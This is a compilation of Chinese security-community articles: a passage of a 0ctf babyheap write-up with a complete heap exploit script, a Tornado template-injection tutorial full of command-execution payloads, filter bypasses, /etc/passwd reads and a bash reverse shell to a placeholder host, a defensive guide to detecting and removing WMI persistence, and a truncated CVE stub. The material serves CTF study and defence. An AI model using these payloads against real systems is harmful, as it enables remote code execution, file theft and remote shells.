bin->fd = bin->bk = bin;
}
## 0ctf babyheap
题目文件下载地址[babyheap](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2017_0ctf_babyheap)
目标是泄露libc的地址，借助的是泄露unsorted bin所在的地址进而推导出其他地址。
因为unsroted bin所在的数据结构是在libc的读写区分配的，因此是可以借助它进行地址泄露的。
泄露unsorted bin地址的方法是把unsorted bin的头部chunk的bk指针给泄露出来。
我们看一个正常的拥有两个元素的unsorted bin的结构
这个头部chunk的bk指针就是指向的是
bck->fd = unsorted_chunks (av);
`unsorted_chunks(av)`这个地址到底是哪里
#define unsorted_chunks(M) (bin_at (M, 1))
#define bin_at(m, i) \
(mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) \
- offsetof (struct malloc_chunk, fd))
av就是main_arena，我们把1代入bin_at得到unsorted_chunks(av)的地址为main_arena->bins – chunk
header的大小就是main_arena->top的地址
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;
/* Flags (formerly in max_fast). */
int flags;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
...
static struct malloc_state main_arena =
{
.mutex = _LIBC_LOCK_INITIALIZER,
.next = &main_arena,
.attached_threads = 1
};
这段代码是在malloc.c文件中中定义的，编译后main_arena就是保存了unsorted bin链表，我们计算一下mchunkptr
bins[NBINS * 2 – 2];这个数组相对malloc_state结构的偏移。
首先要确定 mfastbinptr fastbinsY[NFASTBINS];这个长度是多少，要确定NFASTBINS的大小
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
#define MAX_FAST_SIZE (80 * SIZE_SZ / 4)
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
64位下，SIZE_SZ的值为8， MAX_FAST_SIZE为160，代入request2size（160）得到176，
进一步代入fastbin_index得到NFASTBINS为10
32位下， SIZE_SZ的值为4， MAX_FAST_SIZE为80， 代入request2size（80） 得到88，
进一步代入fastbin_index得到NFASTBINS为10
所以无论在32位还是64位下， NFASTBINS均为10，就是都是有10个mfastbinptr指针，那么总大小就是10*8 = 80
进而得到main_arena->top的偏移为 4 + 4 + 80 = 88=0x58, 在ida的local中定义新的数据结构看下偏移也是0x58
与我们计算的吻合，所以理论上头部chunk的bk指针指向的地址就是main_arena + 88字节的值
为了泄露main_arena + 88这个值，我们首先需要溢出chunk1，使其修改chunk2的prev size和size字段
chunk2的prev size从0x80改为0x180，size从0x101改为0x100，这样可以将chunk1标识为空闲块。
然后再free chunk2，触发错误的后向融合，chunk1连同chunk0和chunk2一起被当做一个大的chunk放到unsorted bin上。
在gdb中观察unsorted bin的情况
可以看到，如我们的预期，unsroted bin中有一个chunk,大小是0x280。
当我们malloc 0xf0之后，会分割这个0x280的chunk，剩下0x180大小的chunk，并且重写unsorted
bin的fd和bk以及新的头部chunk的fd bk指针
这个新的unsorted bin链表头部chunk实际上就是我们的的chunk1，而chunk1是可以被我们打印的，因为他没有被我们人为的free。
因此我们可以通过打印chunk1的数据部分泄露他的bk和fd指针内容，由于unsorted
bin上只有一个元素，所以bk与fd相等都是指向main_arena+88偏移的地址。
我们利用逻辑打印这个chunk1的内容
>>> leak_address = res.split('\n')[1][0:8]
>>> hex(u(leak_address))
'0x7ffff7fc2b78'
main_arena = 0x7ffff7fc2b78 – 88 = 0x7ffff7fc2b20
我们利用GEF的heap arenas看一下是否相同
gef➤ heap arenas
Arena (base=0x7ffff7fc2b20, top=0x5555557572c0, last_remainder=0x555555757100, next=0x7ffff7fc2b20, ne
xt_free=0x0, system_mem=0x21000)
所以我们已经成功泄露了main_arena+88的地址。我们可以基于此得到任意想要的libc偏移地址。
## 劫持控制流
由于这个二进制开启了PIE，因此不能通过改写GOT的方式实现控制流劫持。但是我们可以通过改写__malloc_hook这个指针的方式实现控制流劫持。如果
malloc_hook 和free_hook的值存在，则会调用malloc_hook或者free_hook指向的地址。
### 修改__malloc_hook指针
__malloc_hook在内存中的偏移为mian_arena – 0x10 ，64位情况下。 我们使用fastbin attack实现对这个地址的控制。
### fastbin attack原理
1. 同一个fastbin 链表上有2个空闲的chunk，
Fastbins[idx=1, size=0x30] ← Chunk(addr=0x555555757140, size=0x30, flags=PREV_INUSE) ← Chunk
(addr=0x7ffff7fc2b20, size=0x0, flags=) [incorrect fastbin_index]
`
我们虽然能够修改fd指针，让他指向一个虚假的chunk，但是由于fast
bin内部还是有一个size的检查，会去看这个假chunk的size字段是否就是符合0x30，如果不符合就会报错。所以要想办法让这个size符合我们的fastbin的要求。我们仔细观察malloc_chunk临近内存的值情况
gef➤ x/gx 0x7ffff7fc2b10
0x7ffff7fc2b10 <__malloc_hook>: 0x0000000000000000
gef➤ x/gx 0x7ffff7fc2b10 -8
0x7ffff7fc2b08 <__realloc_hook>: 0x00007ffff7c83a00
我们通过将这个假的chunk的size指向一个0x7ffff7fc2b08 +5这个地址，这个地方存放值是
gef➤ x/gx 0x7ffff7fc2b08 +5
0x7ffff7fc2b0d <__realloc_hook+5>: 0x000000000000007f
这个值是可以通过长度检测的
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
...
fastbin_index(0x7f)的返回值为5，因此我们只需要在fastbin chunk index为5的链表上面构建就行了，5所对应的fast
bin chunk的大小为0x70.
那么这个假chunk的地址就是0x7ffff7fc2b08 + 5 – 8 = 0x7ffff7fc2b05
通过连续malloc(0x60)两次，然后释放第二个malloc的chunk，得到下面的内存布局
我们通过溢出ck0，覆盖ck1的fd指针，
0x7ffff7fc2af5 – 8 = 0x7ffff7fc2aed
0x7ffff7fc2af5: 0x000000000000007f
Fastbins[idx=5, size=0x70] ← Chunk(addr=0x555555757180, size=0x70, flags=) ← Chunk(addr=0x7ffff7fc2afd,
size=0x78, flags=PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA) ← [Corrupted chunk at 0xfff7c83e20000010]
现在我们把假的chunk添加到了fast bin上了，并且我们把size修正好了，使他能够绕过检测。
我们现在连续malloc(0x60)两次就可以得到一个指向 0x7ffff7fc2aed+16 =
0x7ffff7fc2afd的指针，通过0x7ffff7fc2afd覆盖0x7ffff7fc2b10(__malloc_hook).
我们覆盖的值可以为system函数的地址，通过main_arena泄露的地址，先确定system函数地址为`0x7ffff7c43390`
观察内存值可以发现, 我们已经成功修改了_malloc_hook的值
gef➤ x/gx &__malloc_hook
0x7ffff7fc2b10 <__malloc_hook>: 0x00007ffff7c43390
我们再确定/bin/sh字符串的地址，进而在调用malloc的时候，直接将这个参数传进去就行了
确定/bin/sh的地址为`0x7ffff7d8ad57`
但是后来发现这个二进制对长度是有限制的，只截取8个字符，所以我们不能用这种办法。
那就只能在二进制中直接找execve(‘/bin/sh’)的地方了，然后把这个地址写到我们的__malloc_hook中就行了
我的exp到
from pwn import *
target = process("./babyheap_long", env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF("babyheap_long")
libc = ELF("./libc.so.6")
recv_str = target.recv()
print recv_str
# I/O Functions
def allocate(size):
target.sendline("1")
target.sendline(str(size))
print target.recv()
def write_data(index, size, data):
target.sendline("2")
target.sendline(str(index))
target.sendline(str(size))
target.send(data)
print target.recv()
def remove(index):
target.sendline("3")
target.sendline(str(index))
print target.recv()
def view(index):
target.sendline("4")
target.sendline(str(index))
#print "pillar"
leak = target.recv()
return leak
allocate(0xf0)
allocate(0x70)
allocate(0xf0)
allocate(0x30)
remove(0)
remove(1)
allocate(0x70)
write_data(0,0x80,'A'*0x70 + p64(0x180) + p64(0x100))
remove(2)
allocate(0xf0)
u = make_unpacker(64, endian='little', sign='unsigned')
res = view(0)
leak_address = res.split('\n')[1][0:8]
print(hex(u(leak_address)))
allocate(0x60)
allocate(0x60)
remove(4) ## make heap layout
write_data(2,0x78,'A'*0x68 + p64(0x70) + p64(0x7ffff7fc2aed))
allocate(0x60)
allocate(0x60) ## get the ptr to control malloc_hook
system_addr = 0x7ffff7c43390
write_data(5,19 + 8,'A'*19 + p64(system_addr))
allocate(0x7ffff7d8ad57) # trigger system
## 参考
1. <https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html>
2. <https://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html>
3. <https://seanachao.github.io/2020/07/13/hook%E5%8A%AB%E6%8C%81/>
4. <https://blog.csdn.net/qq_29343201/article/details/66476135> | 社区文章 |
# Tornado模板注入漏洞
## 组成结构：
Tornado 大致提供了三种不同的组件：
* Web 框架
* HTTP 服务端以及客户端
* 异步的网络框架，可以用来实现其他网络协议
这里简单介绍一下异步是什么：
* 说到异步，肯定会联系出来它的孪生兄弟--同步（Synchronous）,"同步模式"就是上一段的模式，后一个任务等待前一个任务结束，然后再执行，程序的执行顺序与任务的排列顺序是一致的、同步的.
* "异步模式"则完全不同，每一个任务有一个或多个回调函数（callback），前一个任务结束后，不是执行后一个任务，而是执行回调函数，后一个任务则是不等前一个任务结束就执行，所以程序的执行顺序与任务的排列顺序是不一致的、异步的。 "异步模式"非常重要。
异步的用处：
* 在浏览器端，耗时很长的操作都应该异步执行，避免浏览器失去响应。这样可以大大缩小服务器处理问题的时间。
## 框架使用：
#!/usr/bin/env python
# _*_ coding:utf-8 _*_
__author__ = "charles"
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
# self.write("Hello, world")
self.render("s1.html")
def post(self, *args, **kwargs): #表单以post方式提交
self.write("hello world")
settings = {
"template_path":"template", #模版路径的配置
"static_path":'static', #静态文件配置
}
#路由映射，路由系统
application = tornado.web.Application([ #创建对象
(r"/index", MainHandler),
],**settings) #将settings注册到路由系统，这样配置才会生效
if __name__ == "__main__":
application.listen(8888) #创建socket，一直循环
tornado.ioloop.IOLoop.instance().start() #使用epoll,io多路复用
### RequestHandler常用方法：
1. 初始化handler类接收参数的方法initialize：
def initialize(self, db):
# 初始化handler类接收参数的过程
self.db = db
1. 用于真正调用请求处理之前的初始化方法prepare:
def prepare(self):
# 用于真正调用请求处理之前的初始化方法
# 如：打印日志，打开文件
pass
1. 关闭句柄，清理内存on_finish：
def on_finish(self):
# 关闭句柄，清理内存
pass
### http 请求方法：
def get(self, *args, **kwargs):
pass
def post(self, *args, **kwargs):
pass
def delete(self, *args, **kwargs):
pass
def patch(self, *args, **kwargs):
pass
### 获取参数输入内容的方法：
def get(self, *args, **kwargs):
"""
get_query_argument 和 get_query_arguments 为获取get请求参数的方法
如果name不存在就会抛出400异常
:param args:
:param kwargs:
:return:
"""
# 获取的是字符串，默认取最后一个name的值
self.get_query_argument("name")
# 获取的是列表，存放所有的name的值
self.get_query_arguments("name")
def post(self, *args, **kwargs):
"""
get_argument 和 get_arguments 为获取post请求参数的方法
:param args:
:param kwargs:
:return:
"""
# 获取的是字符串，取最后一个name的值
data1 = self.get_argument("name")
# 获取的是列表，如果url后边跟上name参数会将该name参数的值也放入列表中
data2 = self.get_arguments("name")
# 获取所有的参数
data3 = self.request.arguments
# 如果请求没有传递headers = {
# "Content-type": "application/x-www-form-urlencoded;",
# }
# 获取json数据, 我们必须先从body中获取参数解码，然后转换为dict对象
# 才能调用get_body_argument 和 get_body_arguments 方法获取json参数
# 如果请求头传递了headers，我们可以直接使用get_body_argument获取参数
param = self.request.body.decode('utf-8')
json_data = json.loads(param)
data4 = self.get_body_argument("name")
data5 = self.get_body_arguments("name")
### 输出内容的方法：
设置异常状态码set_status：
try:
data4 = self.get_body_argument("name")
data5 = self.get_body_arguments("name")
except Exception as e:
self.set_status(500)
输出至浏览器显示方法write，因为tornado为长连接，所以可以连续写多个write方法，将内容连接起来:
def get(self, *args, **kwargs):
self.write("hello")
self.write("world")
## 模板语法：
import tornado.template as template
payload = "{{1+1}}"
print(template.Template(payload).generate())
我们通过这个简单代码，来看一看代码都是如何来进行执行的。一下是参考了官方文档和Tr0y师傅的文章总结出来的语法内容，因为我们重点关注的是注入攻击，所以主要学习一下构造payload时候，使用到的语法：
1. **`{{ ... }}`:里面直接写 python 语句即可，没有经过特殊的转换。默认输出会经过 html 编码**
2. **`{% ... %}`:内置的特殊语法，有以下几种规则**
* `{# ... #}`：注释
* `{% comment ... %}`：注释
* `{% apply *function* %}...{% end %}`：
> 用于执行函数，`function` 是函数名。`apply` 到 `end` 之间的内容是函数的参数
* `{% autoescape *function* %}`：
> 用于设置当前模板文件的编码方式。
* `{% block *name* %}...{% end %}`：
> 引用定义过的模板段，通常来说会配合 `extends` 使用。感觉 `block` 同时承担了定义和引用的作用，这个行为不太好理解，比较奇怪。比如
> `{% block name %}a{% end %}{% block name %}b{% end %}` 的结果是 `bb`...
* `{% extends *filename* %}`：
> 将模板文件引入当前的模板，配合 `block` 使用。使用 `extends` 的模板是比较特殊的，需要有 template
> loader，以及如果要起到继承的作用，需要先在加载被引用的模板文件，然后再加载引用的模板文件
* `{% for *var* in *expr* %}...{% end %}`：
> 等价与 python 的 for 循环，可以使用 `{% break %}` 和 `{% continue %}`
* `{% from * import * %}`：
> 等价与 python 原始的 `import`
* `{%if%}...{%elif%}...{%else%}...{%end%}`：
> 等价与 python 的 `if`
* `{% import *module* %}`：等价与 python 原始的 `import`
* `{% include *filename* %}`：
> 与手动合并模板文件到 `include` 位置的效果一样（`autoescape` 是唯一不生效的例外）
* `{% raw *expr* %}`：
> 常规的模板语句，只是输出不会被转义
* `{% set *x* = *y* %}`：
> 创建一个局部变量
* `{% try %}...{% except %}...{% else %}...{% finally %}...{% end %}`：
> 等同于 python 的异常捕获相关语句
* `{% while *condition* %}... {% end %}`：
> 等价与 python 的 while 循环，可以使用 `{% break %}` 和 `{% continue %}`
* `{% whitespace *mode* %}`：
> 设定模板对于空白符号的处理机制，有三种：`all` \- 不做修改、`single` \- 多个空白符号变成一个、`oneline` \-> 先把所有空白符变成空格，然后连续空格变成一个空格
3. **apply的内置函数列表：**
1. `linkify`：把链接转为 html 链接标签（`<a href="...`）
2. `squeeze`：作用与 `{% whitespace oneline %}` 一样
4. **autoescape的内置函数列表：**
1. `xhtml_escape`：html 编码
2. `json_encode`：转为 json
3. `url_escape`：url 编码
5. **其他函数（需要在 settings 中指定）**
1. `xhtml_unescape`：html 解码
2. `url_unescape`：url 解码
3. `json_decode`：解开 json
4. `utf8`：utf8 编码
5. `to_unicode`：utf8 解码
6. `native_str`：utf8 解码
7. `to_basestring`：历史遗留功能，现在和 `to_unicode` 是一样的作用
8. `recursive_unicode`：把可迭代对象中的所有元素进行 `to_unicode`
## 模板渲染:
Tornado 中模板渲染函数在有两个
* render
* render_string
**render_string** :通过模板文件名加载模板，然后更新模板引擎中的命名空间，添加一些全局函数或其他对象，然后生成并返回渲染好的 html内容
**render** :依次调用`render_string`及相关渲染函数生成的内容，最后调用 finish 直接输出给客户端。
我们跟进模板引擎相关类看看其中的实现。
`Tornado
render`是python中的一个渲染函数，也就是一种模板，通过调用的参数不同，生成不同的网页，如果用户对render内容可控，不仅可以注入XSS代码，而且还可以通过{{}}进行传递变量和执行简单的表达式。
简单的理解例子如下：
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.render('index.html')
class LoginHandler(BaseHandler):
def get(self):
# self.set_cookie()
# self.get_cookie()
self.render('login.html', **{'status': ''})
def login(request):
#获取用户输入
login_form = AccountForm.LoginForm(request.POST)
if request.method == 'POST':
#判断用户输入是否合法
if login_form.is_valid():#如果用户输入是合法的
username = request.POST.get('username')
password = request.POST.get('password')
if models.UserInfo.objects.get(username=username) and models.UserInfo.objects.get(username=username).password == password:
request.session['auth_user'] = username
return redirect('/index/')
else:
return render(request,'account/login.html',{'model': login_form,'backend_autherror':'用户名或密码错误'})
else:
error_msg = login_form.errors.as_data()
return render(request,'account/login.html',{'model': login_form,'errors':error_msg})
# 如果登录成功，写入session，跳转index
return render(request, 'account/login.html', {'model': login_form}
由上面可知:render是一个类似模板的东西，可以使用不同的参数来访问网页，所以render其实就是Tornado的一个工具。
## 注入攻击：
### SSTI in tornado.template:
#### 常规手法:
Tornado中SSTI 手法基本上兼容 jinja2、mako 的 SSTI 手法，思路非常灵活：
{{ __import__("os").system("whoami") }}
{% apply __import__("os").system %}id{% end %}
{% raw __import__("os").system("whoami") %}
#### 攻击方式：
先来写个测试用例：
import tornado.ioloop
import tornado.web
from tornado.template import Template
class IndexHandler(tornado.web.RequestHandler):
def get(self):
tornado.web.RequestHandler._template_loaders = {}#清空模板引擎
with open('index.html', 'w') as (f):
f.write(self.get_argument('name'))
self.render('index.html')
app = tornado.web.Application(
[('/', IndexHandler)],
)
app.listen(8888, address="127.0.0.1")
tornado.ioloop.IOLoop.current().start()
解释一下这串代码是什么意思：
这段代码使用 Tornado 框架创建了一个 Web 应用，监听本地地址 127.0.0.1 的端口 8888。当用户访问该应用的根路径时，会执行 IndexHandler 类的 get 方法。
在 get 方法中，将请求参数中的 name 参数写入一个名为 index.html 的文件中，并使用 Tornado 的模板引擎将该文件渲染为 HTML 页面返回给用户。
需要注意的是，该代码使用了一个特殊的方式来清空模板引擎的缓存，即将 _template_loaders 属性设置为空字典，这可能是为了避免在开发过程中因为模板缓存而导致修改无效的问题。
对于 Tornado 来说，一旦 `self.render` 之后，就会实例化一个
`tornado.template.Loader`，这个时候再去修改文件内容，它也不会再实例化一次。所以这里需要把
`tornado.web.RequestHandler._template_loaders` 清空。否则在利用的时候，会一直用的第一个传入的
payload。
这种写法会新引入变量：
1. request：即 tornado.httputil.HTTPServerRequest，下面的属性都是与 http 请求相关的
2. handler：tornado.web.RequestHandler的示例。表示当前请求的 url 是谁处理的，比如这个代码来说，handle 就是 IndexHandler。它下面有很多属性可以利用。
所以 Tornado 中，`tornado.httputil.HTTPServerRequest` 和
`tornado.web.RequestHandler` 是非常重要的类。它们拥有非常多的属性，在 SSTI
相关的知识点中，我们需要熟练掌握这些属性的作用。
#### 利用 HTTPServerRequest：
为了方便下面把 `tornado.httputil.HTTPServerRequest` 的实例称为 `request`。
注意，由于属性非常多，属性自己也还有属性。所以这部分我只列了一些我感觉会用到的属性，肯定不全，有特殊需求的话需要自行进行挖掘。
##### 绕过字符限制：
* `request.query`：包含 get 参数
* `request.query_arguments`：解析成字典的 get 参数，可用于传递基础类型的值（字符串、整数等）
* `request.arguments`：包含 get、post 参数
* `request.body`：包含 post 参数
* `request.body_arguments`：解析成字典的 post 参数，可用于传递基础类型的值（字符串、整数等）
* `request.cookies`：就是 cookie
* `request.files`：上传的文件
* `request.headers`：请求头
* `request.full_url`：完整的 url
* `request.uri`：包含 get 参数的 url。有趣的是，直接 `str(requests)` 然后切片，也可以获得包含 get 参数的 url。这样的话不需要 `.` 或者 `getattr` 之类的函数了。
* `request.host`：Host 头
* `request.host_name`：Host 头
{{request.method}} //返回请求方法名 GET|POST|PUT...
{{request.query}} //传入?a=123 则返回a=123
{{request.arguments}} //返回所有参数组成的字典
{{request.cookies}} //同{{handler.cookies}}
##### 回显结果
* `request.connection.write`
* `request.connection.stream.write`
* `request.server_connection.stream.write`
例如：
{%raw request.connection.write(("HTTP/1.1 200 OK\r\nCMD: "+__import__("os").popen("id").read()).encode()+b"hacked: ")%}'
#### 利用 Application:
主要用于攻击的有这几个属性：
- Application.settings：web 服务的配置，可能会泄露一些敏感的配置
- Application.add_handlers：新增一个服务处理逻辑，可用于制作内存马，后面会一起说
- Application.wildcard_router.add_rules：新增一个 url 处理逻辑，可用于制作内存马
- Application.add_transform：新增一个返回数据的处理逻辑，理论上可以配合响应头来搞个内存马
#### 利用 RequestHandler:
为了方便下面把 `tornado.web.RequestHandler` 称为 `handler`。需要注意的是，handler 是有 `request`
属性的，所以理论上 handler 要比 request 实用。
{{handler.get_argument('yu')}} //比如传入?yu=123则返回值为123
{{handler.cookies}} //返回cookie值
{{handler.get_cookie("data")}} //返回cookie中data的值
{{handler.decode_argument('\u0066')}} //返回f，其中\u0066为f的unicode编码
{{handler.get_query_argument('yu')}} //比如传入?yu=123则返回值为123
{{handler.settings}} //比如传入application.settings中的值
##### 绕过字符限制:
1. `RequestHandler.request.*`：参考利用 `HTTPServerRequest` 那节
2. 其他和 request 一样的方法：例如 `get_argument` 等等，就不一一列举了，可以参考官方文档
##### 回显结果:
- RequestHandler.set_cookie：设置 cookie
- RequestHandler.set_header：设置一个新的响应头
- RequestHandler.redirect：重定向，可以通过 location 获取回显
- RequestHandler.send_error：发送错误码和错误信息
- RequestHandler.write_error：同上，被 `send_error` 调用
## 绕过：
### global()函数全局调用&绕过`_`:
我们可以发现在tornado中是可以直接使用global()函数的，更令我们兴奋的是竟然可以直接调用一些python的初始方法，比如 **import**
、eval、print、hex等，这下似乎我们的payload可以更加简洁了
{{__import__("os").popen("ls").read()}}
{{eval('__import__("os").popen("ls").read()')}}
其中第二种方法更多的是为了我们刚才讲到的目的，绕过对`_`的过滤。
{{eval(handler.get_argument('yu'))}}
?yu=__import__("os").popen("ls").read()
### 绕过`.`：
因为tornado中没有过滤器，这样的话我们想要绕过对于.的过滤就有些困难了。而如果想要绕过对于引号的过滤，可以将上面的payload改成如下格式
{{eval(handler.get_argument(request.method))}}
然后看下请求方法，如果是get的话就可以传?GET=__import__("os").popen("ls").read()，post同理
### 无过滤payload ：
1、读文件
{% extends "/etc/passwd" %}
{% include "/etc/passwd" %}
2、 直接使用函数
{{__import__("os").popen("ls").read()}}
{{eval('__import__("os").popen("ls").read()')}}
3、导入库
{% import os %}{{os.popen("ls").read()}}
4、flask中的payload大部分也通用
{{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{{"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class
5、利用tornado特有的对象或者方法
{{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}}
6、利用tornado模板中的代码注入
{% raw "__import__('os').popen('ls').read()"%0a _tt_utf8 = eval%}{{'1'%0a _tt_utf8 = str}}
过滤payload：
1.过滤一些关键字如import、os、popen等（过滤引号该方法同样适用）
{{eval(handler.get_argument(request.method))}}
然后看下请求方法，如果是get的话就可以传?GET=__import__("os").popen("ls").read()，post同理
2.过滤了括号未过滤引号
{% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a _tt_utf8 = eval%}{{'1'%0a _tt_utf8 = str}}
3.过滤括号及引号
下面这种方法无回显，适用于反弹shell，为什么用exec不用eval呢？
是因为eval不支持多行语句。
__import__('os').system('bash -i >& /dev/tcp/xxx/xxx 0>&1')%0a"""%0a&data={%autoescape None%}{% raw request.body%0a _tt_utf8=exec%}&%0a"""
4.其他
通过参考其他师傅的文章学到了下面的方法（两个是一起使用的）
{{handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}}
{{handler.application.default_router.named_rules['345'].target('/readflag').read()}}
## 实战：
### easy_tornado render：
题目一开始给了三个文件的链接，flag.txt中提供了flag所在的文件夹，welcome文件提供了render关键词，hints.txt提供了一个计算公式在地址栏中显示了一个filehash的值，
md5(cookie_secret+md5(filename))
所以逻辑上应该是我们利用计算出来的文件签名的hash值，来访问flag.txt对应的提示文件，就可以得到flag
所以我们现在主要的目标就是寻找cookie密钥，然后下一步就要关注给我们的提示了：render在模板注入中Tornado框架下有一个模板渲染就是render，所以我们把目光放在Tornado上面，当我们直接访问/fllllllllag时，会出现这个msg=error这个页面。
所以我们在这里可以尝试进行模板注入：
这里`{{handler.application.settings}}`或者`{{handler.settings}}`就可获得`settings`中的
**cookie_secret** 。
import hashlib
def md5encode(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
name = '/fllllllllllllag'
secret = '9fdfa0bb-bf87-4cc8-9126-e00e9123222a'
name = name.encode()
bb = md5encode((secret + md5encode(name)).encode())
print(bb)
参考文章：
<https://blog.csdn.net/qq_37788081/article/details/79263867>
<https://blog.csdn.net/qq_45951598/article/details/111312370>
[(13条消息) tornado模板注入_tornado 模板注入_yu22x的博客-CSDN博客](https://blog.csdn.net/miuzzx/article/details/123329244)
[SecMap - SSTI（Tornado） - Tr0y's
Blog](https://www.tr0y.wang/2022/08/05/SecMap-SSTI-tornado/#利用-httpserverrequest) | 社区文章 |
原文：<https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96>
当前，Windows Management
Instrumentation（WMI）事件订阅已经变成了一种非常流行的在端点上建立持久性后门的技术。于是，我决定鼓捣一下[Empire](https://github.com/EmpireProject/Empire
"Empire")的WMI模块，并分析相关的代码，看看能不能清除这些持久化后门。此外，文中还介绍了用于查看和删除WMI事件订阅的一些PowerShell命令。
关于“Windows Management Instrumentation事件订阅”的介绍，可以参考MITRE
ATT＆CK网站上的相关[文章](https://attack.mitre.org/wiki/Technique/T1084 "文章")。
攻击者可以使用WMI的功能来订阅事件，并在事件发生时执行任意代码，从而在系统上留下持久性后门。
**WMI是啥？**
* * *
“[WMI](https://docs.microsoft.com/en-us/windows/desktop/wmisdk/about-wmi
"WMI")是微软为基于Web的企业管理（WBEM）规范提供的一个实现版本，而WBEM则是一项行业计划，旨在开发用于访问企业环境中管理信息的标准技术。WMI使用公共信息模型（CIM）行业标准来表示系统、应用程序、网络、设备和其他托管组件。”
实际上，所谓[事件过滤器](https://docs.microsoft.com/en-us/windows/desktop/wmisdk/creating-an-event-filter
"事件过滤器")只不过就是一个WMI类，用于描述WMI向事件使用者传递的事件。于此同时，事件过滤器还给出了WMI传递事件的条件。
**配置Sysmon日志记录**
* * *
我们可以将[Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
"Sysmon")配置为记录`WmiEventFilter、WmiEventConsumer`和`WmiEventConsumerToFilter`等活动，并启用WMI滥用检测。
WMI活动的Sysmon事件ID
Roberto Rodriguez（[@Cyb3rWard0g](https://twitter.com/Cyb3rWard0g
"@Cyb3rWard0g")）的Sysmon[配置文件](https://gist.github.com/Cyb3rWard0g/136481552d8845e52962534d1a4b8664
"配置文件")可以捕获上述事件ID。
为此，可以执行以下命令来安装Sysmon，并启用相关的配置文件。
sysmon.exe -i -c .\config_file.xml
**建立持久性后门**
* * *
下面，让我们使用Empire提供的Invoke-WMI模块来创建一个永久的WMI订阅，使其能够常驻受害者端点。
查看Empire的WMI相关模块
查看Empire的Invoke-WMI模块的选项
运行模块
**检测方法**
* * *
查看Sysmon日志，我们就可以看到Empire模块：
1. 注册了一个WMI事件过滤器
2. 注册了一个WMI事件使用者
3. 将事件使用者绑定到事件过滤器
执行Empire的Invoke-WMI模块后，记录Sysmon事件
WMI事件过滤器为该stager设置了相应的执行条件，其中包括对系统正常运行时间的引用。
Sysmon事件ID 19：WmiEvent（检测到了WmiEventFilter的活动）
WMI事件使用者包含了一个Base64编码形式的Empire stager，并且在注册时使用了一个不容易引起人们怀疑的名称，即Updater。
Sysmon事件ID 20：WmiEvent（检测到了WmiEventConsumer的活动）
WMI事件使用者`CommandLineEventConsumer.Name=\"Updater\"`被绑定到了事件过滤器`__EventFilter.Name=\"Updater\"`上面。
Sysmon事件ID 21：WmiEvent（检测到了WmiEventConsumerToFilter的活动）
现在，事件使用者被绑定到了事件过滤器上面，所以，当事件过滤条件为真时，就会触发相应的事件使用者（即stager）。
**如何清除后门**
* * *
从WMI数据库中删除条目的最简单方法，就是使用Autoruns。为此，我们不妨以管理员身份启动[Autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns "Autoruns")，并选择WMI选项卡，这样就可以查找与WMI相关的持久性后门了。
使用Autoruns查看WMI数据库的内容
为了删除相关条目，只需右键单击恶意WMI数据库条目，然后选择“Delete”即可。
此外，我们也可以从命令行中删除相应的WMI事件订阅。
在PowerShell中，我们可以使用Get-WMIObject命令来查看事件筛选器绑定的WMI事件过滤器、事件使用者和使用者过滤器。这里，我们要特别感谢Boe
Prox（[@proxb](https://twitter.com/proxb "@proxb")）在他的[博客](https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/ "博客")上对这些命令给出了详细的解释。
# Reviewing WMI Subscriptions using Get-WMIObject
# Event Filter
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter “Name=’Updater’”
# Event Consumer
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter “Name=’Updater’”
# Binding
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter “__Path LIKE ‘%Updater%’”
下面，我们使用Remove-WMIObject命令来删除WMI持久性后门的所有组件。
# Removing WMI Subscriptions using Remove-WMIObject
# Event Filter
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter “Name=’Updater’” | Remove-WmiObject -Verbose
# Event Consumer
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter “Name=’Updater’” | Remove-WmiObject -Verbose
# Binding
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter “__Path LIKE ‘%Updater%’” | Remove-WmiObject -Verbose
删除WMI事件订阅
再次运行Autoruns命令，以验证是否已删除相应的持久性后门。 | 社区文章 |
**CVE-2018-8893：**
看到某大佬在群里发了一个 CVE 通告，打开网页有看到：
